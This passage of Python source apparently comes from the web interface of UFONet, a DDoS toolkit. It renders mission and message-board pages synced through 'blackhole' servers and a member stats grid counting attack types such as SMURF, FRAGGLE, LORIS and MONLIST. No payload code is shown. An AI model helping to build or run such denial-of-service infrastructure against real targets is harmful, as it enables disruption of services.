705
if(missions_source == "") {
706
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
707
return
708
}else{
709
params="missions_source="+escape(missions_source)
710
runCommandX("cmd_refresh_missions",params)
711
document.getElementById("nb1").style.display = "none";
712
setTimeout("location.reload()", 10000)
713
}
714
}
715
</script>
716
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
717
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
718
<br>
719
<center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
720
<td>Blackhole/IP:</td>
721
<td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
722
</tr></table></td><td><button title="Search for missions on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
723
<hr>
724
<table cellpadding="5" cellspacing="5"><tr>
725
<td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
726
<table cellpading="5" cellspacing="10"><tr><td>
727
<form method='GET'>
728
Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
729
</td></tr><tr><td>
730
<a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
731
</form>
732
</td></tr></table></td></tr></table>
733
<hr><br>
734
</center>
735
Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
736
<div id="cmdOut"></div>
737
<div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
738
""" + self.pages["/footer"]
739
740
def html_board(self):
741
self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
742
self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
743
self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
744
if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
745
device_state = "OFF"
746
device = "BOARD device: <font color='red'>OFF</font><br>"
747
else:
748
device_state = "ON"
749
self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
750
boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
751
data = json.load(boardcfg_json_file)
752
boardcfg_json_file.close()
753
profile_token = data["profile_token"]
754
profile_icon = data["profile_icon"]
755
profile_nick = data["profile_nick"]
756
self.profile_nick.encode('utf-8')
757
operator_img = open("core/images/crew/"+profile_icon+".txt").read()
758
device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
759
if device_state == "OFF":
760
board_filter = ""
761
else:
762
board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
763
if device_state == "OFF":
764
sync_panel = ""
765
else:
766
sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for posts on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
767
if device_state == "OFF":
768
board_panel = ""
769
else:
770
with open(self.board_file) as f:
771
for line in f:
772
line = line.strip()
773
self.board_warning += "\n" + " " + line + " " + "\n"
774
f.close()
775
self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
776
l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
777
board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
778
if device_state == "OFF":
779
remove_profile = ""
780
else:
781
remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
782
return self.pages["/header"] + """<script language="javascript">
783
function BoardProfile() {
784
var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
785
}
786
function RemoveProfile() {
787
var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
788
}
789
function Decrypt_board(){
790
board_key=document.getElementById("board_key").value
791
if (document.getElementById('filter_all').checked) {
792
filter = document.getElementById('filter_all').value;
793
}
794
if (document.getElementById('filter_general').checked) {
795
filter = document.getElementById('filter_general').value;
796
}
797
if (document.getElementById('filter_opsec').checked) {
798
filter = document.getElementById('filter_opsec').value;
799
}
800
if (document.getElementById('filter_faq').checked) {
801
filter = document.getElementById('filter_faq').value;
802
}
803
if (document.getElementById('filter_bugs').checked) {
804
filter = document.getElementById('filter_bugs').value;
805
}
806
if (document.getElementById('filter_media').checked) {
807
filter = document.getElementById('filter_media').value;
808
}
809
if(board_key == "") {
810
window.alert("You need to enter a valid key (provided by someone)");
811
return
812
}else{
813
params="board_key="+escape(board_key)+"&filter="+escape(filter)
814
runCommandX("cmd_decrypt_moderator_board",params)
815
document.getElementById("nb1").style.display = "none";
816
}
817
}
818
function OptionsCheck() {
819
if (document.getElementById('read').checked) {
820
document.getElementById('board_read').style.display = 'block';
821
document.getElementById('board_send').style.display = 'none';
822
document.getElementById('board_warning').style.display = 'none';
823
}
824
else if(document.getElementById('write').checked) {
825
document.getElementById('board_send').style.display = 'block';
826
document.getElementById('board_warning').style.display = 'block';
827
document.getElementById('board_read').style.display = 'none';
828
}
829
}
830
function Sync_panel(){
831
document.getElementById("sync_panel_block").style.display = "block";
832
}
833
function SyncBoard(){
834
document.getElementById('nb1').style.display = 'none';
835
board_source=document.getElementById("board_source").value
836
if(board_source == "") {
837
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
838
return
839
}else{
840
params="board_source="+escape(board_source)
841
runCommandX("cmd_sync_board",params)
842
setTimeout("location.reload()", 10000)
843
}
844
}
845
</script>
846
<script language="javascript">
847
function SendMessage() {
848
board_source=document.getElementById("board_source_send").value
849
board_key=document.getElementById("board_key").value
850
stream_txt=document.getElementById("stream_txt").value
851
board_selector=document.getElementById("board_selector");
852
board_topic = board_selector.options[board_selector.selectedIndex].value;
853
if(board_key == "") {
854
board_key='"""+str(self.crypto_key)+"""';
855
}else{
856
if(stream_txt == "") {
857
window.alert("You need to enter a message! (~ 1-140 characters)");
858
return
859
}else{
860
if(board_source == "") {
861
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
862
return
863
}else{
864
params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
865
runCommandX("cmd_send_message_board",params)
866
setTimeout("location.reload()", 10000)
867
}
868
}
869
}
870
}
871
</script>
872
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
873
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
874
<br>
875
<center>
876
<table cellpadding="5" cellspacing="5"><tr>
877
<td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Crypto-Board!. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
878
<table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
879
</td></tr></table></tr></table>
880
<hr><br>"""+board_panel+"""
881
""" + self.pages["/footer"]
882
883
def generate_grid(self):
884
with open(self.grid_file) as f:
885
for line in f:
886
line = line.strip()
887
f.close()
888
mothership_members = 0 # mothership_members stats bonus
889
unknown_members = 0 # unknown (or non decrypted) mothership members
890
grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>FRAGGLE:</u></td><td align='center'><u>SNIPER:</u></td><td align='center'><u>UFOACK:</u></td><td align='center'><u>UFORST:</u></td><td align='center'><u>DROPER:</u></td><td align='center'><u>OVERLAP:</u></td><td align='center'><u>PINGER:</u></td><td align='center'><u>UFOUDP:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
891
for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
892
if grid_msg_sep in m:
893
version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
894
m = m.split(grid_msg_sep)
895
mothership_members = mothership_members + 1
896
grid_nickname = m[0][0:12]
897
grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
898
grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
899
grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
900
grid_totalchargo = m[2][0:4] # total chargo
901
grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
902
grid_dorking = m[3][0:4] # dorking
903
grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
904
grid_transferred = m[4][0:4] # transferred
905
grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
906
grid_maxchargo = m[5][0:4] # maxchargo
907
grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
908
grid_missions = m[6][0:4] # missions
909
grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
910
grid_attacks = m[7][0:4] # attacks
911
grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
912
grid_loic = m[8][0:4] # loic
913
grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
914
if version > 18: # v1.5
915
grid_loris = m[9][0:4] # loris
916
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
917
grid_ufosyn = m[10][0:4] # ufosyn
918
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
919
grid_spray = m[11][0:4] # spray
920
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
921
grid_smurf = m[12][0:4] # smurf
922
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
923
grid_xmas = m[13][0:4] # xmas
924
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
925
grid_nuke = m[14][0:4] # nuke
926
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
927
grid_tachyon = m[15][0:4] # tachyon
928
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
929
grid_monlist = m[16][0:4] # monlist
930
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
931
grid_fraggle = m[17][0:4] # fraggle
932
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
933
grid_sniper = m[18][0:4] # sniper
934
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
935
grid_ufoack = m[19][0:4] # ufoack
936
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
937
grid_uforst = m[20][0:4] # uforst
938
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
939
grid_droper = m[21][0:4] # droper
940
grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
941
grid_overlap = m[22][0:4] # overlap
942
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
943
grid_pinger = m[23][0:4] # pinger
944
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
945
grid_ufoudp = m[24][0:4] # ufoudp
946
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
947
try:
948
grid_contact = "<a href=javascript:alert('"+str(m[25][0:12])+"');>View</a>" # js contact view (obfuscation)
949
except:
950
grid_contact= "invalid"
951
try:
952
grid_id = m[26] # id (plain id)
953
except:
954
grid_id = "invalid!"
955
if version == 18: # v1.4
956
grid_loris = m[9][0:4] # loris
957
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
958
grid_ufosyn = m[10][0:4] # ufosyn
959
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
960
grid_spray = m[11][0:4] # spray
961
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
962
grid_smurf = m[12][0:4] # smurf
963
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
964
grid_xmas = m[13][0:4] # xmas
965
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
966
grid_nuke = m[14][0:4] # nuke
967
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
968
grid_tachyon = m[15][0:4] # tachyon
969
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
970
grid_monlist = m[16][0:4] # monlist
971
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
972
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
973
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
974
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
975
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
976
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
977
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
978
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
979
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
980
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
981
grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
982
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
983
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
984
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
985
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
986
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
987
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
988
try:
989
grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
990
except:
991
grid_contact= "invalid"
992
try:
993
grid_id = m[18] # id (plain id)
994
except:
995
grid_id = "invalid!"
996
if version == 17: # v1.3
997
grid_loris = m[9][0:4] # loris
998
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
999
grid_ufosyn = m[10][0:4] # ufosyn
1000
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
1001
grid_spray = m[11][0:4] # spray
1002
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
1003
grid_smurf = m[12][0:4] # smurf
1004
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
1005
grid_xmas = m[13][0:4] # xmas
1006
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
1007
grid_nuke = m[14][0:4] # nuke
1008
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
1009
grid_tachyon = m[15][0:4] # tachyon
1010
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
1011
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
1012
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
1013
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
1014
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
1015
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
1016
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
1017
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
1018
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
1019
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
1020
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
1021
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
1022
grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
1023
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
1024
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
1025
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
1026
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
1027
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
1028
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
1029
try:
1030
grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
1031
except:
1032
grid_contact= "invalid"
1033
try:
1034
grid_id = m[17] # id (plain id)
1035
except:
1036
grid_id = "invalid!"
1037
elif version == 16: # v1.2.1
1038
grid_loris = m[9][0:4] # loris
1039
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
1040
grid_ufosyn = m[10][0:4] # ufosyn
1041
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
1042
grid_spray = m[11][0:4] # spray
1043
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
1044
grid_smurf = m[12][0:4] # smurf
1045
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
1046
grid_xmas = m[13][0:4] # xmas
1047
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
1048
grid_nuke = m[14][0:4] # nuke
1049
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
1050
grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
1051
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
1052
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
1053
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
1054
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
1055
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
1056
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
1057
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
1058
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
1059
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
1060
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
1061
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
1062
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
1063
grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
1064
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
1065
grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
1066
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
1067
grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
1068
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
1069
grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
1070
try:
1071
grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
1072
except:
1073
grid_contact= "invalid"
1074
try:
1075
grid_id = m[16] # id (plain id)
1076
except:
1077
grid_id = "invalid!"
1078
elif version == 15: # v1.2
1079
grid_loris = m[9][0:4] # loris
1080
grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
1081
grid_ufosyn = m[10][0:4] # ufosyn
1082
grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
1083
grid_spray = m[11][0:4] # spray
1084
grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
1085
grid_smurf = m[12][0:4] # smurf
1086
grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
1087
grid_xmas = m[13][0:4] # xmas
1088
grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
1089
grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
1090
grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
1091
grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
1092
grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
1093
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
1094
grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
1095
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
1096
grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
1097
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
1098
grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
1099
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
1100
grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
1101
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
1102
grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
1103
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
1104
